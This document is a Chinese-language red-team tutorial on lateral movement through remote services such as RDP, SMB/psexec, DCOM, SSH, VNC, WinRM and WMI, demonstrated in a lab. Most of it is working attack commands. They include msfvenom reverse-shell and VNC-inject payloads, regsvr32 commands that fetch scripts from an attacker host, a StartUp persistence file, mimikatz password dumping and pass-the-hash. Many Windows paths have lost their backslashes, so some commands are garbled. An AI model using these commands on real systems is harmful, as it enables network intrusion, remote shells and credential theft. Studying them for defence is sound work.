橫向移動:遠程服務
介紹
在紅隊評估期間,在入侵完成后,攻擊者傾向于在網絡中橫向移動,以獲取有關其他系統的更多相關信息。這種橫向移動可以通過使用許多二進制文件/服務/進程來實現。在本文中,我們將僅關注使用遠程服務的橫向移動,即可以通過獲取無效憑據集來幫助在遠程系統上執行代碼/命令的服務。通常,組織內會使用同一套憑據,這種橫向移動變得非常容易和有效。
背景
橫向移動非常有助于通過破壞更多系統來收集更多數據,而不是僅僅依靠單個系統來獲得更高的權限并最終破壞整個網絡。
某些服務專門設計用于提供遠程會話,如果提供了有效的憑據,它們就會接受連接。在域網絡中,這種基本身份驗證被 Kerberos 取代,但是,一組有效的憑據仍然可以在整個網絡和多個設備上使用。例如,人力資源管理員帳戶可以登錄到任何人力資源系統,并且可以通過橫向移動以這種方式獲取更多數據。
本文的目的是通過利用最知名的遠程服務(包括 RDP、SSH 等)來演示盡可能多的方法。在本文的最后,我們將討論 mimikatz 和 wmi 等服務。這些服務本質上使用一個或多個遠程服務組合來提供遠程會話。
讓我們首先從 RDP 開始,然后逐步轉向其他服務。
了解攻擊實驗室
對于本文,我手頭有兩個設置。一個是使用域“ignite.local”的 Active Directory 設置,另一個是在非域環境中通過橋接方式連接到 Kali 系統的簡單 2 個 Windows 設備。詳細信息如下:
通過 RDP 進行橫向移動
據Microsoft介紹,RDP 基于 T-120 系列協議標準,并且是其擴展。多通道協議允許單獨的虛擬通道承載以下信息:
演示數據
串行設備通信
許可信息
高度加密的數據,例如鍵盤、鼠標活動
換句話說,它通過為用戶提供功能齊全的 GUI 讓用戶與遠程服務器進行通信。
使用任務管理器進行 RDP 劫持
當您連接到用戶“管理員”并打開任務管理器->轉到用戶->如果用戶“hex”當前已退出但存在,您就會看到此信息。
您可以點擊十六進制并選擇連接
任務管理器現在將要求用戶 hex 提供憑據
現在您已成功連接到 hex。可以在 cmd 中確認
使用 Tscon 進行 RDP 劫持
tscon 是 Windows Server 2012 版本中引入的 Microsoft Windows 實用程序。它用于連接到遠程桌面會話主機服務器上的另一個會話。它需要目標和會話 ID 才能工作。用戶憑據也可以作為 tscon 中的參數傳遞。在此處閱讀更多信息。
現在有趣的是,如果您設法獲得 SYSTEM 級權限 (NT AUTHORITYSYSTEM),則可以使用 tscon 切換 RDP 會話而無需密碼。這在舊版本的 Windows 10 上完美運行。在較新的版本中,仍然需要密碼。
因此,我們首先使用 psexec 在受感染的系統上獲得 NT AUTHORITYSYSTEM,然后查看交互式會話。我們切換到所需的會話(此處為 3 號),并使用 /DEST 開關將當前連接(rdp-tcp#9)切換到第 3 個會話中的用戶。
whoamipsexec64.exe -s cmdwhoamiquery usercmd /k tscon 3 /DEST:rdp-tcp#9
它會立即在同一個遠程桌面連接中打開一個新用戶“hex”!這可以通過 whoami 來驗證
使用 Mimikatz 進行 RDP 劫持
Mimikatz 包含一個模塊“ts”,用于處理 RDP 會話。它是 tscon 的實現,但添加了 mimikatz 的功能。我們可以使用以下命令查看活動用戶會話
ts::sessions
我們在會話 ID 3 上有一個斷開連接的用戶十六進制。讓我們連接到它。我們使用 psexec 執行的操作,mimikatz 通過使用令牌模擬來提升權限,自動執行此操作。
privilege::debugtoken::elevatets::remote /id:3
然后您將看到用戶“hex”的遠程桌面!
SharpRDP 認證命令執行
0xthirteen 開發了SharpRDP 工具,該工具提供了使用 RDP 作為服務執行經過身份驗證的命令的各種方法和技術。此方法不包括劫持遠程會話,而是使用登錄信息來提供代碼執行。它通過利用 COM 庫和 mstscax.dll 來實現這一點。點擊此處了解更多信息。
首先,我們將創建一個有效載荷
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
接下來,我們將把這個文件托管在我們的 SMB 共享中。我們可以手動設置共享,也可以使用 Impacket 的 smbserver 設置一個名為“sharename”的臨時共享
smbserver.py sharename /root
現在,使用遠程用戶管理員的憑據,我們可以通過下面的 UNC 路徑使用 SharpRDP 來執行此 EXE 文件
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c 192.168.0.89sharenameshell.exe username=Administrator password=123
如你所見,遠程服務器訪問了我們的 SMB 服務器并獲取了文件
這樣我們就成功橫向移動了!
通過 SMB 進行橫向移動
SMB 是最廣泛使用的網絡協議之一,允許用戶通過網絡與遠程系統進行通信。通常,它用于共享文件、打印機,但通過利用可寫共享,它可用于執行命令,并最終實現橫向移動。
PsExec SMB RCE
許多工具(如 psexec)都利用 SMB 執行經過身份驗證的命令。據 Microsoft 稱,“PsExec 是一種輕量級的 telnet 替代品,可讓您在其他系統上執行進程,并為控制臺應用程序提供完整的交互性,而無需手動安裝客戶端軟件。PsExec 最強大的用途包括在遠程系統上啟動交互式命令提示符和遠程啟用工具(如 IpConfig),否則這些工具無法顯示有關遠程系統的信息。”首先,讓我們使用 impacket 的 smbserver 創建一個本地 SMB 共享,用于托管我們的惡意文件。此文件最終將被寫入遠程系統并執行以獲得移動。
smbserver.py sharename /root
此后,我們將使用 msfvenom 創建惡意文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
現在,我們將使用受感染的系統并在其中上傳 psexec64.exe。然后,我們將使用以下命令在指定的主機中啟動我們的惡意文件。
psexec64.exe DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c 192.168.0.89sharenameshell.exe
如你所見,hex 已經到達我們的 smb 共享并獲取了文件
至此,我們成功收到了反向 shell!
Sc.exe 進程創建
sc.exe 是隨 Windows 捆綁提供的命令行工具,提供維護和管理 Windows NT 服務的功能。這是一個非必需的系統進程,但它可用于創建進程并在其中執行 DLL。在這里,我們將創建一個進程“ignite”,并使用 regsvr 方法在該進程中定義執行 DLL。
首先,讓我們設置處理程序并使用 Metasploit 生成 regsvr 代碼。
use exploit/multi/script/web_deliveryset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.0.89set LPORT 1234set target 3run
現在,我們獲得的 regsvr 代碼可以包含在 sc.exe binpath 命令中。以下命令將創建一個包含上述代碼的進程 ignite。然后啟動該進程。請注意,“DESKTOP-9GSGKO9”是目標 Windows 系統,代碼將在該系統中執行。
sc DESKTOP-9GSGKO9 create ignite binpath= "C:WindowsSystem32egsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"sc DESKTOP-9GSGKO9 start ignite
如您所見,已收到服務啟動失敗錯誤,但這是因為我們提供的 DLL 無效。它仍會執行我們的 DLL 并為我們提供反向 shell!在這里,我們擁有遠程系統中可寫共享的管理員權限,因此我們獲得了 NT AUTHORITYSYSTEM 特權,但根據您擁有的權限,這可能會有所不同。
Metasploit SMB 遠程 PsExec
Metasploit psexec 模塊存在,如果目標上的 SMB 可訪問且提供的憑據有效,則該模塊可以破壞遠程系統。這里,假設我們獲得了 SMB 憑據 Administrator:123,我們可以在整個網絡中使用這些憑據并破壞具有相同憑據集的其他系統。在這里,您可以看到,我們將有效載荷設置為 meterpreter,成功執行后,我們收到了一個 web shell!
use exploit/windows/smb/psexecset payload windows/x64/meterpreter/reverse_tcpset RHOSTS 192.168.0.119set SMBUSER Administratorset SMBPASS 123set LHOST 192.168.0.89set LPORT 4444exploit
Cmd.exe SMB 遠程代碼執行
如果用戶對 C$、ADMIN$ 等關鍵共享具有寫訪問權限,則 Windows 中的 Cmd.exe 也能夠在遠程系統上執行命令,cmd.exe 可以將文件復制到 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp 等位置,并結合橫向移動獲得持久性。
但是,在這個例子中,我們將只運行一個簡單的 regsvr 命令并將其輸出寫入 ADMIN$ share 中名為 ignite 的文件中,以演示該命令的寫入功能。
use exploit/multi/script/web_deliveryset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.0.89set LPORT 1234set target 3run
現在我們使用 cmd.exe 運行它
cmd.exe /Q /c "C:WindowsSystem32egsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> 127.0.0.1ADMIN$ignite 2>&1
這給了我們一個反向shell!
如您所見,輸出文件已在我們指定的遠程共享中創建。雖然沒有輸出,所以文件是空的,但它已經創建了。
另一個例子是在受害者 192.168.0.120 的遠程共享中寫入一個 bat 文件,它將在 StartUp 中保存我們的有效載荷執行命令,并且該命令將在下次系統重啟時執行。
cmd.exe /Q /c "echo ‘cmd.exe /c 192.168.0.89sharenameshell.exe’" 1> 192.168.0.120C$ ProgramDataMicrosoftWindowsStart MenuProgramsStartUpignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen 開發了一個名為SharpMove的 C# 腳本,該腳本利用許多不同的遠程服務來執行代碼。它可以使用遠程系統上的 SMB 共享來執行代碼。它還可以嘗試禁用 AMSI,這本身就是一個額外的好處。在此示例中,我們將通過在現有服務中輸入我們自己的代碼來對其進行修改。我們在演示 sc.exe 時剛剛創建了一個名為“ignite”的服務,讓我們來修改該服務。在主機名為“DESKTOP-9GSGK09”的系統上執行可以按如下方式實現:
SharpMove.exe action=modsvc computername=DESKTOP-9GSGKO9 command="cmd.exe /c 192.168.0.89sharenameshell.exe" amsi=true servicename=ignite username=Administrator password=123
可以看出,SharpMove.exe已經更新了服務binpath,并且成功實現了反向shell。
通過 DCOM 進行橫向移動
據微軟介紹,“微軟組件對象模型 ( COM ) 是一個獨立于平臺的、分布式的、面向對象的系統,用于創建可交互的二進制軟件組件。COM 是微軟的 OLE(復合文檔)、ActiveX(支持 Internet 的組件)以及其他技術的基礎技術。
它不是一種編程語言,而是一種僅適用于已編譯為二進制代碼的標準。C++ 等編程語言提供了使用 COM 對象的簡單機制。C、Java 也實現了 COM。”
COM 對象是指通過一組或多組相關函數專門訪問對象數據的對象。這些函數集稱為接口,接口的函數稱為方法。此外,COM 要求訪問接口方法的唯一方法是通過指向接口的指針。換句話說,COM 通過實現可以調用 DLL 和 EXE 的對象,使二進制文件能夠與其他軟件對象或可執行文件交互。DCOM ( 分布式 COM)是一種中間件,它使用遠程過程調用 (RPC) 技術將 COM 的功能擴展到本地計算機之外。
默認情況下,只有管理員可以通過 DCOM 遠程激活和啟動 COM 對象
DCOM 可以執行 Office 文檔中的宏,還可以遠程與 WMI 交互,從而使受攻擊的域面臨各種各樣的攻擊。
請注意,此攻擊適用于已加入域的系統。默認情況下,DCOM 遠程處理不適用于跨網絡。要啟用 DCOM 遠程處理,需要一些神奇的代碼,但這不在本文的討論范圍內。(不過,我已經這樣做了,并且正在使用未加入域的系統來執行此操作)
Mmc20.應用程序遠程DCOM
您可以使用 Microsoft 管理控制臺 (MMC) 創建、保存和打開管理工具(稱為控制臺),這些工具用于管理 Microsoft Windows 操作系統的硬件、軟件和網絡組件。MMC 可在當前支持的所有客戶端操作系統上運行。這里使用的是Enigma0x3 的方法(參見此處)。
首先,讓我們使用 powershell 查看 mmc20.application 的注冊表項。ProgID 是遠程系統中創建實例所必需的。接下來,我們將使用 Powershell 在目標系統 (192.168.0.119) 上創建此程序 mmc20 的新實例。
Get-ChildItem 'registry::HKEY_CLASSES_ROOTWOW6432NodeCLSID{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
我們創建了一個名為 $dcom 的對象,它生成 mmc 可以執行的不同函數。其中一個是 ExecuteShellCommand
我們將使用此函數對所創建的遠程 DCOM 對象執行命令。
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c 192.168.0.89sharenameshell.exe > output.txt","7")
成功執行后,我們會看到 SMB 服務器上有一個命中,可執行文件被獲取并執行
這給了我們一個很好的反向外殼,因此橫向移動已經實現!
通過 SSH 進行橫向移動
SSH 是最廣泛使用的跨平臺協議,它允許用戶連接到遠程會話并允許文件復制。企業環境中通常會使用不同的子網,由于防火墻限制或網絡接口不同,攻擊者可能無法直接訪問這些子網。在這種情況下,通過 SSH 橫向移動可以為攻擊者提供多種選擇。讓我們看看一些方法。
SSH 端口轉發
有關全面的用例和端口轉發指南,我強烈建議閱讀這篇 文章。我們在這里采用一個簡單的場景。我們的目標服務器具有以下 IP 地址和用戶名
現在,我們已成功攻陷用戶名為“hex”的系統,該系統有 2 個網卡。一個與我們的攻擊者機器在同一個網絡上,另一個在我們的目標服務器的網絡上。
正如您所看到的,我們的攻擊者機器與目的地位于不同的子網,并且我們的 ping 無法到達,因此無法直接訪問。
要設置本地端口轉發,使我們能夠將特定端口的任何傳入流量重定向到目標服務器,我們遵循以下模式:
ssh -L 本地端口:目標IP:目標端口 被泄露用戶名@被泄露服務器
此后,我們必須指定十六進制的密碼。
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
設置成功后,我們現在就可以連接到目標服務器了!首先,確保 known_hosts 文件中沒有預先存在的 localhost 條目(使用 ssh-keygen -R)
ssh-keygen -R 127.0.0.1ssh server@127.0.0.1 -p 7000
如您所見,我們已經成功連接到目的地!
通過 VNC 進行橫向移動
VNC 或虛擬網絡計算是一種使用遠程幀緩沖區協議實現對另一個系統的圖形遠程訪問的服務。這是一個交互式會話,因為用戶可以通過 VNC 向原始系統提供鼠標和鍵盤輸入。這樣的定義似乎與我們之前討論過的遠程桌面協議非常相似,但兩者之間存在顯著差異。VNC 是獨立于平臺的,這意味著它可以與 Linux 和 Windows 一起使用,而 RDP 只能在兩臺 Windows 計算機之間工作。
據 MITRE 稱,“攻擊者可能會濫用 VNC 以登錄用戶的身份執行惡意操作,例如打開文檔、下載文件和運行任意命令。攻擊者可以使用 VNC 遠程控制和監視系統,以收集數據和信息,然后轉向網絡內的其他系統。”
讓我們看一下其中一種方法。
VNCinject 有效載荷
Vncinject 是一種可與 msfvenom 配合使用的有效載荷,它會在攻擊者系統上安裝反射式 vnc DLL 并重新連接到攻擊者系統。需要注意的是,為了利用此載荷進一步進行橫向移動,可以將其保存在共享中,并可以使用 psexec 等遠程執行方法。
首先,我們創建一個有效載荷,并將其托管在我們的 Web 服務器中,以便在系統上下載并執行
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
現在,我們讓受害者執行此有效載荷。這可以通過發送釣魚鏈接等來完成。為簡單起見,我們僅使用 powershell wget 來下載并執行(模擬)
powershell wget 192.168.1.4/vnc.exe -O vnc.exevnc.exe
現在我們設置 multi/handler 并等待回調。成功執行后,我們會在控制臺中收到回調
use multi/handlerset payload windows/x64/vncinject/reverse_tcpset lhost 192.168.1.4set lport 4532run
不久之后,我們將收到一個成熟的 VNC 會話,并且橫向移動現已實現!
通過 WinRM 進行橫向移動
WinRM 是一個命令行工具,它使管理員能夠使用 WS-Management 協議遠程執行 CMD.exe 命令。此規范描述了一種基于 SOAP 的通用協議,用于管理系統(例如 PC、服務器、設備、Web 服務、其他應用程序和其他可管理實體)。它使用端口 5985 進行 HTTP 傳輸,使用端口 5986 進行 HTTPS 傳輸。
在 Windows 操作系統的服務器和客戶端版本上,Enable-PSRemoting 允許管理員通過 WinRM 服務使用 Powershell 訪問私有網絡和域網絡的遠程 shell。
在此處 閱讀有關 WinRM的 Microsoft 文檔
首先,要設置 WinRM,我們只需要在 Admin Powershell 窗口中執行以下命令。這將啟用 winrm、允許 HTTP 連接(默認情況下,系統中沒有用于 HTTPS 的 SSL 證書)并通過將所有用戶添加到受信任的主機中來允許所有用戶。
Enable-PSRemoting -Forcewinrm quickconfigwinrm set winrm/config/service '@{AllowUnencrypted="true"}'Set-Item WSMan:localhostclient rustedhosts -value *
于 WinRM 服務,我們也可以像這樣手動遍歷配置并設置/更改任何值。
cd WSMan:localhostClientset-item .allowunencrypted $true
對于域環境,由于 Kerberos,WinRS 等工具通常無法工作。因此,我們需要激活基本身份驗證機制。
set-itemWSMan:localhostServiceAuthBasic $trueset-itemWSMan:localhostServiceAllowUnencrypted $true
新PSSession Powershell
powershell 中的 New-PSSession 命令創建一個新的持久 powershell 遠程會話。通過提供遠程憑據,您會看到我們已連接到服務器。在一個系統可以訪問目標/目標服務器并且我們需要連接到它但攻擊者系統無法訪問它的情況下很有用。
我們可以進一步執行保存在 SMB 共享中的惡意可執行文件,以進行進一步的橫向移動。
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)Enter-PSSession 2cmd.exe /c 192.168.1.4sharenameshell.exe
你看,現在服務器已經繞過了防火墻的傳入連接,而防火墻限制用戶連接到它。我們讓服務器連接到我們!
它給了我們一個整潔的反向shell!
調用命令 Powershell
Invoke-Command 是 Powershell 中的一個 cmdlet,它使用 WinRM 互操作性在遠程系統上運行指定的命令。管理員使用它來自動安裝工具/軟件等。但它也可以用于橫向移動。通過在“scriptblock”中指定我們的命令,我們可以執行它。“-Credential”標志允許用戶輸入憑據,也可以通過創建一個塊并將其提供給 STDIN 來替換該憑據。
調用命令 dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c 192.168.1.4sharenameshell.exe}
這給了我們一個健康的殼!
Winrs
Winrs 代表 Windows 遠程 Shell,與 New-PSSession 相同。它自 Windows Server 2008 以來就一直存在。Winrs 可用于在遠程系統上執行代碼。它僅使用基本身份驗證。因此,保存在我們 smbshare 中的 shell.exe 可以這樣執行:
winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c 192.168.1.4sharenameshell.exe"
這成功給了我們一個反向shell!
Evil-Winrm
Evil-WinRM 是一款非常流行的工具,Red Teamers 使用它通過 WinRM 在網絡進行橫向移動。在后臺,它還使用 Windows 遠程 shell 功能,但在此基礎上添加了一些漂亮的功能。它用 ruby 編寫,可以使用gem install evil-winrm 安裝。安裝后,它可以用于連接到遠程服務器,例如:
evil-winrm-i 192.168.1.2 -u Administrator -p 'Ignite@987'
現在,我在 /root 下創建了一個名為 binaries 的文件夾,其中包含一個 Mimikatz powershell 腳本(在此處找到)。
Evil-WinRM 可以上傳這些 powershell 腳本(保存在文件夾中),讓我們執行其 powershell 函數!為此,我們使用 -s 并提供二進制文件夾的路徑。此后,我們可以使用 Invoke-Mimikatz,如您所見,mimikatz 已運行并在服務器中轉儲緩存的密碼。
evil-winrm-i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'Invoke-Mimikatz.ps1Invoke-Mimikatz
通過 Mimikatz 進行橫向移動
Mimikatz 包含許多有助于橫向移動的選項。其中之一就是轉儲密碼。我們可以使用 sekurlsa 模塊來實現這一點:
privilege::debugsekurlsa::logonpasswords
這些哈希可以進一步與 psexec 一起使用來傳遞哈希攻擊!
通過 WMI 進行橫向移動
WMI 命令行 (WMIC) 實用程序為 Windows 管理規范 (WMI) 提供了命令行界面。WMIC 與現有的 shell 和實用程序命令兼容。Wmi 還可用于遠程執行命令。這是通過使用 /node 標志實現的。例如,在下面的示例中,我們正在創建一個新的進程調用,它將執行保存在節點 192.168.1.2 上的 SMB 服務器中的 shell
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c 192.168.1.4sharenameshell.exe"
可以看到,執行成功,我們收到了一個反向shell
通過 Invoke-WmiMethod 進行橫向移動
對于 Windows 中以二進制形式存在的任何良好實用程序,Microsoft 已為其創建了等效的 powershell cmdlet。Invoke-WmiMethod 是一個 cmdlet,其功能與上例中的 wmic 相同。PS 5.1+ 中較新的 Invoke-CimMethod 執行相同的操作。請參閱此處。
要使用 CLI 中的 Invoke-WmiMethod,我們需要編寫一個命令。感謝@spotheplanet提供的這項技術。我們也可以使用通用的 Invoke-WmiMethod,但它需要 GUI,而在紅隊場景中我們通常沒有 GUI。
在這種技術中,我們將創建一個惡意 MSI 文件,并將其安裝在目標服務器中。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
現在,在受感染受害者的 CLI 中,我們輸入以下命令。此命令基本上為 Invoke-WmiMethod 提供憑證(Administrator:Ignite@987)并安裝一個放在我們的 SMB 共享中的 MSI 文件。
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","192.168.1.4sharenameshell.msi") -ComputerName dc1 -Credential $credential
在我們的反向監聽器上,你可以看到一個穩定的 shell 現在已經彈出!
結論
橫向移動是紅隊演習中必不可少的一步,因為它會導致權限提升和網絡入侵。本文討論了遠程服務以及如何在紅隊評估期間將它們用于橫向移動場景。這些服務本身就具有與遠程系統交互的能力。我們在文章中演示了此類技術。